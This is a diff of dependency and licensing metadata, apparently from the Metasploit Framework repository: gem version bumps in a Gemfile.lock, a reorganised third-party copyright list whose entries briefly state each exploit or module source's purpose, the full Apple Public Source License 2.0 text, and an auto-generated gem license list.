@@ -369,66 +372,66 @@ GEM
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.9)
rex-random_identifier (0.1.10)
rex-text
rex-registry (0.1.4)
rex-rop_builder (0.1.4)
metasm
rex-core
rex-text
rex-socket (0.1.43)
rex-socket (0.1.47)
rex-core
rex-sslscan (0.1.8)
rex-sslscan (0.1.9)
rex-core
rex-socket
rex-text
rex-struct2 (0.1.3)
rex-text (0.2.45)
rex-text (0.2.49)
rex-zip (0.1.4)
rex-text
rexml (3.2.5)
rkelly-remix (0.0.7)
rspec (3.11.0)
rspec-core (~> 3.11.0)
rspec-expectations (~> 3.11.0)
rspec-mocks (~> 3.11.0)
rspec-core (3.11.0)
rspec-support (~> 3.11.0)
rspec-expectations (3.11.1)
rspec (3.12.0)
rspec-core (~> 3.12.0)
rspec-expectations (~> 3.12.0)
rspec-mocks (~> 3.12.0)
rspec-core (3.12.1)
rspec-support (~> 3.12.0)
rspec-expectations (3.12.2)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-mocks (3.11.1)
rspec-support (~> 3.12.0)
rspec-mocks (3.12.3)
diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.11.0)
rspec-rails (5.1.2)
actionpack (>= 5.2)
activesupport (>= 5.2)
railties (>= 5.2)
rspec-core (~> 3.10)
rspec-expectations (~> 3.10)
rspec-mocks (~> 3.10)
rspec-support (~> 3.10)
rspec-support (~> 3.12.0)
rspec-rails (6.0.1)
actionpack (>= 6.1)
activesupport (>= 6.1)
railties (>= 6.1)
rspec-core (~> 3.11)
rspec-expectations (~> 3.11)
rspec-mocks (~> 3.11)
rspec-support (~> 3.11)
rspec-rerun (1.1.0)
rspec (~> 3.0)
rspec-support (3.11.1)
rubocop (1.36.0)
rspec-support (3.12.0)
rubocop (1.44.1)
json (~> 2.3)
parallel (~> 1.10)
parser (>= 3.1.2.1)
parser (>= 3.2.0.0)
rainbow (>= 2.2.2, < 4.0)
regexp_parser (>= 1.8, < 3.0)
rexml (>= 3.2.5, < 4.0)
rubocop-ast (>= 1.20.1, < 2.0)
rubocop-ast (>= 1.24.1, < 2.0)
ruby-progressbar (~> 1.7)
unicode-display_width (>= 1.4.0, < 3.0)
rubocop-ast (1.21.0)
unicode-display_width (>= 2.4.0, < 3.0)
rubocop-ast (1.24.1)
parser (>= 3.1.1.0)
ruby-macho (3.0.0)
ruby-prof (1.4.2)
ruby-progressbar (1.11.0)
ruby-rc4 (0.1.5)
ruby2_keywords (0.0.5)
ruby_smb (3.2.0)
ruby_smb (3.2.4)
bindata
openssl-ccm
openssl-cmac
@@ -445,14 +448,15 @@ GEM
simplecov-html (0.12.3)
simpleidn (0.2.1)
unf (~> 0.1.4)
sinatra (2.2.2)
mustermann (~> 2.0)
rack (~> 2.2)
rack-protection (= 2.2.2)
sinatra (3.0.5)
mustermann (~> 3.0)
rack (~> 2.2, >= 2.2.4)
rack-protection (= 3.0.5)
tilt (~> 2.0)
sqlite3 (1.5.0)
sqlite3 (1.6.0)
mini_portile2 (~> 2.8.0)
sshkey (2.0.0)
strptime (0.2.5)
swagger-blocks (3.0.0)
thin (1.8.1)
daemons (~> 1.0, >= 1.0.9)
@@ -460,17 +464,17 @@ GEM
rack (>= 1, < 3)
thor (1.2.1)
tilt (2.0.11)
timecop (0.9.5)
timeout (0.3.0)
timecop (0.9.6)
timeout (0.3.1)
ttfunk (1.7.0)
tzinfo (2.0.5)
tzinfo (2.0.6)
concurrent-ruby (~> 1.0)
tzinfo-data (1.2022.3)
tzinfo-data (1.2022.7)
tzinfo (>= 1.0.0)
unf (0.1.4)
unf_ext
unf_ext (0.0.8.2)
unicode-display_width (2.2.0)
unicode-display_width (2.4.2)
unix-crypt (1.3.0)
warden (1.2.9)
rack (>= 2.0.9)
@@ -479,7 +483,7 @@ GEM
websocket-extensions (>= 0.1.0)
websocket-extensions (0.1.5)
win32api (0.1.0)
windows_error (0.1.4)
windows_error (0.1.5)
winrm (2.3.6)
builder (>= 2.1.2)
erubi (~> 1.8)
@@ -496,18 +500,19 @@ GEM
webrick
yard (0.9.28)
webrick (~> 1.7.0)
zeitwerk (2.6.0)
zeitwerk (2.6.6)
PLATFORMS
ruby
DEPENDENCIES
debug (>= 1.0.0)
factory_bot_rails
fivemat
memory_profiler
metasploit-framework!
octokit
pry-byebug (~> 3.9.0)
pry-byebug
rake
redcarpet
rspec-rails
+541 -42
View File
@@ -19,46 +19,111 @@ Files: data/exploits/mysql/lib_mysqludf_sys_*.so
Copyright: 2007 Roland Bouman
2008-2010 Roland Bouman and Bernardo Damele A. G.
License: LGPL-2.1
Purpose: These files are used in exploits/multi/mysql/mysql_udf_payload.rb
Files: data/headers/windows/c_payload_util/beacon.h
Copyright: 2022, Copyright Help/Systems LLC and its group of companies.
License: Apache 2.0
Files: data/jtr/*
Copyright: Copyright 1996-2013 by Solar Designer
License: GNU GPL 2.0
Files: data/post/SharpHound.exe
data/post/powershell/SharpHound.ps1
Copyright (C) 2016-2022 Specter Ops Inc.
License: GNU GPL 3.0
Purpose: These files are uploaded and executed by
post/windows/gather/bloodhound.
Files: data/templates/to_mem_pshreflection.ps1.template
Copyright: 2012, Matthew Graeber
License: BSD-3-clause
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3
Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: external/source/byakugan/*
Copyright: Lurene Grenier, 2009
License: BSD-3-clause
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
Copyright: 2020 Johnny Shaw
License: MIT
Files: external/source/exploits/CVE-2018-8120/*
Copyright: 2018
License: GNU GPL 3
Purpose: This supports exploits/windows/local/ms18_8120_win32k_privesc module
Files: external/source/exploits/CVE-2022-1043/cve-2022-1043.c
Copyright: 2022 Open Source Security, Inc.
License: GNU GPL 2.0
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-1043, a local privilege escalation vulnerability in
Linux kernels 5.12-rc3 - 5.14-rc7.
Files: external/source/exploits/CVE-2022-22942/cve-2022-22942-dc.c
Copyright: 2022 Open Source Security, Inc.
License: GNU GPL 2.0
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-22942, a local privilege escalation vulnerability in
Linux kernels 4.14-rc1 - 5.17-rc1.
Files: exteneral/source/exploits/CVE-2022-26904/*
Copyright: 2022 Abdelhamid Naceri
License: MIT
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
Copyright: 2011 Jon Bringhurst
License: GNU GPL 2.0
Files: external/source/exploits/IE11SandboxEscapes/*
Copyright: James Forshaw, 2014
License: GPLv3
Purpose: This set of source code supports the following modules
exploits/windows/local/ms13_097_ie_registry_symlink.rb
exploits/windows/local/ms14_009_ie_dfsvc.rb
Files: external/source/ipwn/*
Copyright: 2004-2005 vlad902 <vlad902 [at] gmail.com>
2007 H D Moore <hdm [at] metasploit.com>
License: GPL-2 and Artistic
Files: external/source/ReflectiveDLLInjection/*
Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
License: BSD-3-clause
Purpose: These files are used in payloads/stages/osx/armle/execute
Files: external/source/metsvc/*
Copyright: 2007, Determina Inc.
License: BSD-3-clause
Files: external/source/tightvnc/*
Copyright: 1999 AT&T Laboratories Cambridge.
2000 Tridia Corp.
2002-2003 RealVNC Ltd.
2001-2004 HorizonLive.com, Inc.
2000-2007 Constantin Kaplinsky
2000-2009 TightVNC Group
License: GPL-2
Files: external/source/osx/isight/*
Copyright: 2009
License: GPL
Purpose: Used in modules/payloads/stages/osx/x86/isight to capture images.
Files: external/source/pxesploit/regeditor/ntreg.h
external/source/pxesploit/regeditor/ntreg.c
Copyright: 1997-2010, Petter Nordahl-Hagen
License: LGPL
Purpose: Unknown. These files are used to create a linux binary called regeditor
which allows a linux OS to edit a Windows registry. It is used in
pxesploit modules.
Files: external/source/ReflectiveDLLInjection/*
Copyright: 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
License: BSD-3-clause
Files: external/source/shellcode/windows/build.sh
Copyright: 2009
License: GPL / Perl Artistic
Purpose: A perl script to build some of the x86 Windows payloads.
Files: external/source/unixasm/*
Copyright: 2004-2008 Ramon de Carvalho Valle <ramon@risesecurity.org>
License: BSD-4-clause
Files: external/source/vncdll/winvnc/*
external/source/tightvnc/*
Copyright: 1999 AT&T Laboratories Cambridge.
2000 Tridia Corp.
2002-2003 RealVNC Ltd.
@@ -66,8 +131,19 @@ Copyright: 1999 AT&T Laboratories Cambridge.
2000-2006 Constantin Kaplinsky.
2000-2009 TightVNC Group
License: GPL-2
Purpose: The built result is used in:
payloads/stages/windows/vncinject.rb
payloads/stages/windows/x64/vncinject.rb
Files: lib/anemone.rb lib/anemone/*
Files: external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c
Copyright: 1999-2007 Apple Inc.
License: Apple
Purpose: This source file is necessary for users to create a stand-alone executable
to exploit CVE-2022-46689, a local privilege escalation vulnerability in
MacOSX versions (macOS dirty cow)
Files: lib/anemone.rb
lib/anemone/*
Copyright: 2009 Vertive, Inc.
License: MIT
@@ -79,11 +155,19 @@ Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
License: Apache 2.0
Files: lib/net/dns.rb lib/net/dns/*
Files: lib/msf/core/web_services/public/*
lib/msf/core/web_services/views/api_docs.erb
Copyright: Copyright 2018 SmartBear Software
License: Apache 2.0
Files: lib/net/dns.rb
lib/net/dns/*
Copyright: 2006 Marco Ceresa
License: Ruby
Files: lib/postgres_msf.rb lib/postgres/postgres-pr/message.rb lib/postgres/postgres-pr/connection.rb
Files: lib/postgres_msf.rb
lib/postgres/postgres-pr/message.rb
lib/postgres/postgres-pr/connection.rb
Copyright: 2005 Michael Neumann
License: BSD-3-clause or Ruby
@@ -91,11 +175,13 @@ Files: lib/rabal/*
Copyright: Jeremy Hinegadner <jeremy at hinegardner dot org>
License: Ruby
Files: lib/rbmysql.rb lib/rbmysql/*
Files: lib/rbmysql.rb
lib/rbmysql/*
Copyright: 2009 tommy
License: Ruby
Files: lib/snmp.rb lib/snmp/*
Files: lib/snmp.rb
lib/snmp/*
Copyright: 2004, David R. Halliday
License: Ruby
@@ -103,37 +189,81 @@ Files: lib/windows_console_color_support.rb
Copyright: 2011 Michael 'mihi' Schierl
License: BSD-3-clause
Files: lib/zip.rb lib/zip/*
Files: lib/zip.rb
lib/zip/*
Copyright: 2002-2004, Thomas Sandergaard
License: Ruby
Files: modules/auxiliary/dos/cisco/cisco_7937g_dos.py
Copyright: 2020, Cody Martin
License: GPL
Purpose: This module allows an attacker to render a Cisco 7937G unresponsive
until it is manually power cycled.
Files: modules/auxiliary/dos/cisco/cisco_7937g_dos_reboot.py
Copyright: 2020, Cody Martin
License: GPL
Purpose: This module allows an attacker to render a Cisco 7937G unresponsive
until it automatically power cycles.
Files: modules/auxiliary/admin/http/cisco_7937g_ssh_privesc.py
Copyright: 2020, Cody Martin
License: GPL
Purpose: This module allows an unauthenticated user to change the credentials
for SSH access on a Cisco 7937G device.
Files: modules/auxiliary/gather/office365userenum.py
Copyright: 2015 Oliver Morton
License: GPL
Purpose: Enumerates valid usernames from Office 365 using ActiveSync.
Files: modules/exploits/linux/local/bpf_priv_esc.rb
data/exploits/CVE-2016-4557/hello
Copyright: 2001-2007
License: GPL
Purpose: This module contains the source code for FUSE, which this module
uploads and compiles or uploads a precompiled binary (hello).
Files: modules/exploits/linux/local/ntfs3g_priv_esc.rb
Copyright: 2017
License: GPLv2
Purpose: The Ruby file contains the text of several modules from exploit-db
which it compiles and uploads to the target to elevate privileges.
Files: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
Copyright: 2020
License: GPL
Purpose: This module targets a vulnerability in Metasploit Framework versions
prior to 5.0.86.
Files: modules/exploits/windows/smb/ms04_007_killbill.rb
Copyright: 2004, Solar Eclipse
License: GPL
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2
module.
Files: modules/payloads/singles/windows/speak_pwned.rb
Copyright: 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
License: BSD-3-clause
Files: data/webcam/api.js
Copyright: Copyright 2013 Muaz Khan<@muazkh>.
License: MIT
Files: modules/payloads/singles/windows/x64/messagebox.rb
Copyright: 2018, jaguinaga
License: GPL
Purpose: This module allows us to create an x64 Windows messagebox payload.
Files: lib/msf/core/web_services/public/*, lib/msf/core/web_services/views/api_docs.erb
Copyright: Copyright 2018 SmartBear Software
License: Apache 2.0
Files: modules/post/linux/dos/xen_420_dos.rb
Copyright: 2016
License: GPL
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
paravirtualized VM. It contains a short code section licensed through
GPL.
Files: data/jtr/*
Copyright: Copyright 1996-2013 by Solar Designer
License: GNU GPL 2.0
Files: external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/*
Copyright: 2011 Jon Bringhurst
License: GNU GPL 2.0
Files: external/source/evasion/windows/process_herpaderping/ProcessHerpaderping/*
Copyright: 2020 Johnny Shaw
License: MIT
Files: exteneral/source/exploits/CVE-2022-26904/*
Copywrite: 2022 Abdelhamid Naceri
License: MIT
Files: tools/exploit/metasm_shell.rb
Copyright: 2007, Yoann GUILLOT
License: LGPL
Purpose: Allows users to invoke an interactive metasm shell to get opcodes from
assembly instructions.
License: BSD-2-clause
Redistribution and use in source and binary forms, with or without modification,
@@ -889,3 +1019,372 @@ License: Zlib
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original software.
3. This notice may not be removed or altered from any source distribution.
License: Apple
APPLE PUBLIC SOURCE LICENSE
Version 2.0 - August 6, 2003
Please read this License carefully before downloading this software.
By downloading or using this software, you are agreeing to be bound by
the terms of this License. If you do not or cannot agree to the terms
of this License, please do not download or use the software.
1. General; Definitions. This License applies to any program or other
work which Apple Computer, Inc. ("Apple") makes publicly available and
which contains a notice placed by Apple identifying such program or
work as "Original Code" and stating that it is subject to the terms of
this Apple Public Source License version 2.0 ("License"). As used in
this License:
1.1 "Applicable Patent Rights" mean: (a) in the case where Apple is
the grantor of rights, (i) claims of patents that are now or hereafter
acquired, owned by or assigned to Apple and (ii) that cover subject
matter contained in the Original Code, but only to the extent
necessary to use, reproduce and/or distribute the Original Code
without infringement; and (b) in the case where You are the grantor of
rights, (i) claims of patents that are now or hereafter acquired,
owned by or assigned to You and (ii) that cover subject matter in Your
Modifications, taken alone or in combination with Original Code.
1.2 "Contributor" means any person or entity that creates or
contributes to the creation of Modifications.
1.3 "Covered Code" means the Original Code, Modifications, the
combination of Original Code and any Modifications, and/or any
respective portions thereof.
1.4 "Externally Deploy" means: (a) to sublicense, distribute or
otherwise make Covered Code available, directly or indirectly, to
anyone other than You; and/or (b) to use Covered Code, alone or as
part of a Larger Work, in any way to provide a service, including but
not limited to delivery of content, through electronic communication
with a client other than You.
1.5 "Larger Work" means a work which combines Covered Code or portions
thereof with code not governed by the terms of this License.
1.6 "Modifications" mean any addition to, deletion from, and/or change
to, the substance and/or structure of the Original Code, any previous
Modifications, the combination of Original Code and any previous
Modifications, and/or any respective portions thereof. When code is
released as a series of files, a Modification is: (a) any addition to
or deletion from the contents of a file containing Covered Code;
and/or (b) any new file or other representation of computer program
statements that contains any part of Covered Code.
1.7 "Original Code" means (a) the Source Code of a program or other
work as originally made available by Apple under this License,
including the Source Code of any updates or upgrades to such programs
or works made available by Apple under this License, and that has been
expressly identified by Apple as such in the header file(s) of such
work; and (b) the object code compiled from such Source Code and
originally made available by Apple under this License.
1.8 "Source Code" means the human readable form of a program or other
work that is suitable for making modifications to it, including all
modules it contains, plus any associated interface definition files,
scripts used to control compilation and installation of an executable
(object code).
1.9 "You" or "Your" means an individual or a legal entity exercising
rights under this License. For legal entities, "You" or "Your"
includes any entity which controls, is controlled by, or is under
common control with, You, where "control" means (a) the power, direct
or indirect, to cause the direction or management of such entity,
whether by contract or otherwise, or (b) ownership of fifty percent
(50%) or more of the outstanding shares or beneficial ownership of
such entity.
2. Permitted Uses; Conditions & Restrictions. Subject to the terms
and conditions of this License, Apple hereby grants You, effective on
the date You accept this License and download the Original Code, a
world-wide, royalty-free, non-exclusive license, to the extent of
Apple's Applicable Patent Rights and copyrights covering the Original
Code, to do the following:
2.1 Unmodified Code. You may use, reproduce, display, perform,
internally distribute within Your organization, and Externally Deploy
verbatim, unmodified copies of the Original Code, for commercial or
non-commercial purposes, provided that in each instance:
(a) You must retain and reproduce in all copies of Original Code the
copyright and other proprietary notices and disclaimers of Apple as
they appear in the Original Code, and keep intact all notices in the
Original Code that refer to this License; and
(b) You must include a copy of this License with every copy of Source
Code of Covered Code and documentation You distribute or Externally
Deploy, and You may not offer or impose any terms on such Source Code
that alter or restrict this License or the recipients' rights
hereunder, except as permitted under Section 6.
2.2 Modified Code. You may modify Covered Code and use, reproduce,
display, perform, internally distribute within Your organization, and
Externally Deploy Your Modifications and Covered Code, for commercial
or non-commercial purposes, provided that in each instance You also
meet all of these conditions:
(a) You must satisfy all the conditions of Section 2.1 with respect to
the Source Code of the Covered Code;
(b) You must duplicate, to the extent it does not already exist, the
notice in Exhibit A in each file of the Source Code of all Your
Modifications, and cause the modified files to carry prominent notices
stating that You changed the files and the date of any change; and
(c) If You Externally Deploy Your Modifications, You must make
Source Code of all Your Externally Deployed Modifications either
available to those to whom You have Externally Deployed Your
Modifications, or publicly available. Source Code of Your Externally
Deployed Modifications must be released under the terms set forth in
this License, including the license grants set forth in Section 3
below, for as long as you Externally Deploy the Covered Code or twelve
(12) months from the date of initial External Deployment, whichever is
longer. You should preferably distribute the Source Code of Your
Externally Deployed Modifications electronically (e.g. download from a
web site).
2.3 Distribution of Executable Versions. In addition, if You
Externally Deploy Covered Code (Original Code and/or Modifications) in
object code, executable form only, You must include a prominent
notice, in the code itself as well as in related documentation,
stating that Source Code of the Covered Code is available under the
terms of this License with information on how and where to obtain such
Source Code.
2.4 Third Party Rights. You expressly acknowledge and agree that
although Apple and each Contributor grants the licenses to their
respective portions of the Covered Code set forth herein, no
assurances are provided by Apple or any Contributor that the Covered
Code does not infringe the patent or other intellectual property
rights of any other entity. Apple and each Contributor disclaim any
liability to You for claims brought by any other entity based on
infringement of intellectual property rights or otherwise. As a
condition to exercising the rights and licenses granted hereunder, You
hereby assume sole responsibility to secure any other intellectual
property rights needed, if any. For example, if a third party patent
license is required to allow You to distribute the Covered Code, it is
Your responsibility to acquire that license before distributing the
Covered Code.
3. Your Grants. In consideration of, and as a condition to, the
licenses granted to You under this License, You hereby grant to any
person or entity receiving or distributing Covered Code under this
License a non-exclusive, royalty-free, perpetual, irrevocable license,
under Your Applicable Patent Rights and other intellectual property
rights (other than patent) owned or controlled by You, to use,
reproduce, display, perform, modify, sublicense, distribute and
Externally Deploy Your Modifications of the same scope and extent as
Apple's licenses under Sections 2.1 and 2.2 above.
4. Larger Works. You may create a Larger Work by combining Covered
Code with other code not governed by the terms of this License and
distribute the Larger Work as a single product. In each such instance,
You must make sure the requirements of this License are fulfilled for
the Covered Code or any portion thereof.
5. Limitations on Patent License. Except as expressly stated in
Section 2, no other patent rights, express or implied, are granted by
Apple herein. Modifications and/or Larger Works may require additional
patent licenses from Apple which Apple may grant in its sole
discretion.
6. Additional Terms. You may choose to offer, and to charge a fee for,
warranty, support, indemnity or liability obligations and/or other
rights consistent with the scope of the license granted herein
("Additional Terms") to one or more recipients of Covered Code.
However, You may do so only on Your own behalf and as Your sole
responsibility, and not on behalf of Apple or any Contributor. You
must obtain the recipient's agreement that any such Additional Terms
are offered by You alone, and You hereby agree to indemnify, defend
and hold Apple and every Contributor harmless for any liability
incurred by or claims asserted against Apple or such Contributor by
reason of any such Additional Terms.
7. Versions of the License. Apple may publish revised and/or new
versions of this License from time to time. Each version will be given
a distinguishing version number. Once Original Code has been published
under a particular version of this License, You may continue to use it
under the terms of that version. You may also choose to use such
Original Code under the terms of any subsequent version of this
License published by Apple. No one other than Apple has the right to
modify the terms applicable to Covered Code created under this
License.
8. NO WARRANTY OR SUPPORT. The Covered Code may contain in whole or in
part pre-release, untested, or not fully tested works. The Covered
Code may contain errors that could cause failures or loss of data, and
may be incomplete or contain inaccuracies. You expressly acknowledge
and agree that use of the Covered Code, or any portion thereof, is at
Your sole and entire risk. THE COVERED CODE IS PROVIDED "AS IS" AND
WITHOUT WARRANTY, UPGRADES OR SUPPORT OF ANY KIND AND APPLE AND
APPLE'S LICENSOR(S) (COLLECTIVELY REFERRED TO AS "APPLE" FOR THE
PURPOSES OF SECTIONS 8 AND 9) AND ALL CONTRIBUTORS EXPRESSLY DISCLAIM
ALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT
NOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF
MERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR
PURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD
PARTY RIGHTS. APPLE AND EACH CONTRIBUTOR DOES NOT WARRANT AGAINST
INTERFERENCE WITH YOUR ENJOYMENT OF THE COVERED CODE, THAT THE
FUNCTIONS CONTAINED IN THE COVERED CODE WILL MEET YOUR REQUIREMENTS,
THAT THE OPERATION OF THE COVERED CODE WILL BE UNINTERRUPTED OR
ERROR-FREE, OR THAT DEFECTS IN THE COVERED CODE WILL BE CORRECTED. NO
ORAL OR WRITTEN INFORMATION OR ADVICE GIVEN BY APPLE, AN APPLE
AUTHORIZED REPRESENTATIVE OR ANY CONTRIBUTOR SHALL CREATE A WARRANTY.
You acknowledge that the Covered Code is not intended for use in the
operation of nuclear facilities, aircraft navigation, communication
systems, or air traffic control machines in which case the failure of
the Covered Code could lead to death, personal injury, or severe
physical or environmental damage.
9. LIMITATION OF LIABILITY. TO THE EXTENT NOT PROHIBITED BY LAW, IN NO
EVENT SHALL APPLE OR ANY CONTRIBUTOR BE LIABLE FOR ANY INCIDENTAL,
SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING
TO THIS LICENSE OR YOUR USE OR INABILITY TO USE THE COVERED CODE, OR
ANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY,
TORT (INCLUDING NEGLIGENCE), PRODUCTS LIABILITY OR OTHERWISE, EVEN IF
APPLE OR SUCH CONTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
DAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY
REMEDY. SOME JURISDICTIONS DO NOT ALLOW THE LIMITATION OF LIABILITY OF
INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION MAY NOT APPLY
TO YOU. In no event shall Apple's total liability to You for all
damages (other than as may be required by applicable law) under this
License exceed the amount of fifty dollars ($50.00).
10. Trademarks. This License does not grant any rights to use the
trademarks or trade names "Apple", "Apple Computer", "Mac", "Mac OS",
"QuickTime", "QuickTime Streaming Server" or any other trademarks,
service marks, logos or trade names belonging to Apple (collectively
"Apple Marks") or to any trademark, service mark, logo or trade name
belonging to any Contributor. You agree not to use any Apple Marks in
or as part of the name of products derived from the Original Code or
to endorse or promote products derived from the Original Code other
than as expressly permitted by and in strict compliance at all times
with Apple's third party trademark usage guidelines which are posted
at http://www.apple.com/legal/guidelinesfor3rdparties.html.
11. Ownership. Subject to the licenses granted under this License,
each Contributor retains all rights, title and interest in and to any
Modifications made by such Contributor. Apple retains all rights,
title and interest in and to the Original Code and any Modifications
made by or on behalf of Apple ("Apple Modifications"), and such Apple
Modifications will not be automatically subject to this License. Apple
may, at its sole discretion, choose to license such Apple
Modifications under this License, or on different terms from those
contained in this License or may choose not to license them at all.
12. Termination.
12.1 Termination. This License and the rights granted hereunder will
terminate:
(a) automatically without notice from Apple if You fail to comply with
any term(s) of this License and fail to cure such breach within 30
days of becoming aware of such breach;
(b) immediately in the event of the circumstances described in Section
13.5(b); or
(c) automatically without notice from Apple if You, at any time during
the term of this License, commence an action for patent infringement
against Apple; provided that Apple did not first commence
an action for patent infringement against You in that instance.
12.2 Effect of Termination. Upon termination, You agree to immediately
stop any further use, reproduction, modification, sublicensing and
distribution of the Covered Code. All sublicenses to the Covered Code
which have been properly granted prior to termination shall survive
any termination of this License. Provisions which, by their nature,
should remain in effect beyond the termination of this License shall
survive, including but not limited to Sections 3, 5, 8, 9, 10, 11,
12.2 and 13. No party will be liable to any other for compensation,
indemnity or damages of any sort solely as a result of terminating
this License in accordance with its terms, and termination of this
License will be without prejudice to any other right or remedy of
any party.
13. Miscellaneous.
13.1 Government End Users. The Covered Code is a "commercial item" as
defined in FAR 2.101. Government software and technical data rights in
the Covered Code include only those rights customarily provided to the
public as defined in this License. This customary commercial license
in technical data and software is provided in accordance with FAR
12.211 (Technical Data) and 12.212 (Computer Software) and, for
Department of Defense purchases, DFAR 252.227-7015 (Technical Data --
Commercial Items) and 227.7202-3 (Rights in Commercial Computer
Software or Computer Software Documentation). Accordingly, all U.S.
Government End Users acquire Covered Code with only those rights set
forth herein.
13.2 Relationship of Parties. This License will not be construed as
creating an agency, partnership, joint venture or any other form of
legal association between or among You, Apple or any Contributor, and
You will not represent to the contrary, whether expressly, by
implication, appearance or otherwise.
13.3 Independent Development. Nothing in this License will impair
Apple's right to acquire, license, develop, have others develop for
it, market and/or distribute technology or products that perform the
same or similar functions as, or otherwise compete with,
Modifications, Larger Works, technology or products that You may
develop, produce, market or distribute.
13.4 Waiver; Construction. Failure by Apple or any Contributor to
enforce any provision of this License will not be deemed a waiver of
future enforcement of that or any other provision. Any law or
regulation which provides that the language of a contract shall be
construed against the drafter will not apply to this License.
13.5 Severability. (a) If for any reason a court of competent
jurisdiction finds any provision of this License, or portion thereof,
to be unenforceable, that provision of the License will be enforced to
the maximum extent permissible so as to effect the economic benefits
and intent of the parties, and the remainder of this License will
continue in full force and effect. (b) Notwithstanding the foregoing,
if applicable law prohibits or restricts You from fully and/or
specifically complying with Sections 2 and/or 3 or prevents the
enforceability of either of those Sections, this License will
immediately terminate and You must immediately discontinue any use of
the Covered Code and destroy all copies of it that are in your
possession or control.
13.6 Dispute Resolution. Any litigation or other dispute resolution
between You and Apple relating to this License shall take place in the
Northern District of California, and You and Apple hereby consent to
the personal jurisdiction of, and venue in, the state and federal
courts within that District with respect to this License. The
application of the United Nations Convention on Contracts for the
International Sale of Goods is expressly excluded.
13.7 Entire Agreement; Governing Law. This License constitutes the
entire agreement between the parties with respect to the subject
matter hereof. This License shall be governed by the laws of the
United States and the State of California, except that body of
California law concerning conflicts of law.
Where You are located in the province of Quebec, Canada, the following
clause applies: The parties hereby confirm that they have requested
that this License and all related documents be drafted in English. Les
parties ont exige que le present contrat et tous les documents
connexes soient rediges en anglais.
EXHIBIT A.
"Portions Copyright (c) 1999-2003 Apple Computer, Inc. All Rights
Reserved.
This file contains Original Code and/or Modifications of Original Code
as defined in and that are subject to the Apple Public Source License
Version 2.0 (the 'License'). You may not use this file except in
compliance with the License. Please obtain a copy of the License at
http://www.opensource.apple.com/apsl/ and read it before using this
file.
The Original Code and all software distributed under the License are
distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
Please see the License for the specific language governing rights and
limitations under the License."
+81 -79
View File
@@ -1,49 +1,49 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.1.0, MIT
actionpack, 6.1.7, MIT
actionview, 6.1.7, MIT
activemodel, 6.1.7, MIT
activerecord, 6.1.7, MIT
activesupport, 6.1.7, MIT
actionpack, 7.0.4.2, MIT
actionview, 7.0.4.2, MIT
activemodel, 7.0.4.2, MIT
activerecord, 7.0.4.2, MIT
activesupport, 7.0.4.2, MIT
addressable, 2.8.1, "Apache 2.0"
afm, 0.2.2, MIT
arel-helpers, 2.14.0, MIT
ast, 2.4.2, MIT
aws-eventstream, 1.2.0, "Apache 2.0"
aws-partitions, 1.628.0, "Apache 2.0"
aws-sdk-core, 3.145.0, "Apache 2.0"
aws-sdk-ec2, 1.331.0, "Apache 2.0"
aws-sdk-iam, 1.70.0, "Apache 2.0"
aws-sdk-kms, 1.58.0, "Apache 2.0"
aws-sdk-s3, 1.114.0, "Apache 2.0"
aws-sigv4, 1.5.1, "Apache 2.0"
aws-partitions, 1.707.0, "Apache 2.0"
aws-sdk-core, 3.170.0, "Apache 2.0"
aws-sdk-ec2, 1.364.0, "Apache 2.0"
aws-sdk-iam, 1.75.0, "Apache 2.0"
aws-sdk-kms, 1.62.0, "Apache 2.0"
aws-sdk-s3, 1.119.0, "Apache 2.0"
aws-sigv4, 1.5.2, "Apache 2.0"
bcrypt, 3.1.18, MIT
bcrypt_pbkdf, 1.1.0, MIT
bindata, 2.4.10, ruby
bindata, 2.4.15, "Simplified BSD"
bson, 4.15.0, "Apache 2.0"
builder, 3.2.4, MIT
bundler, 2.1.4, MIT
byebug, 11.1.3, "Simplified BSD"
coderay, 1.1.3, MIT
concurrent-ruby, 1.0.5, MIT
concurrent-ruby, 1.2.0, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.6, MIT
daemons, 1.4.1, MIT
debug, 1.7.1, "ruby, Simplified BSD"
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
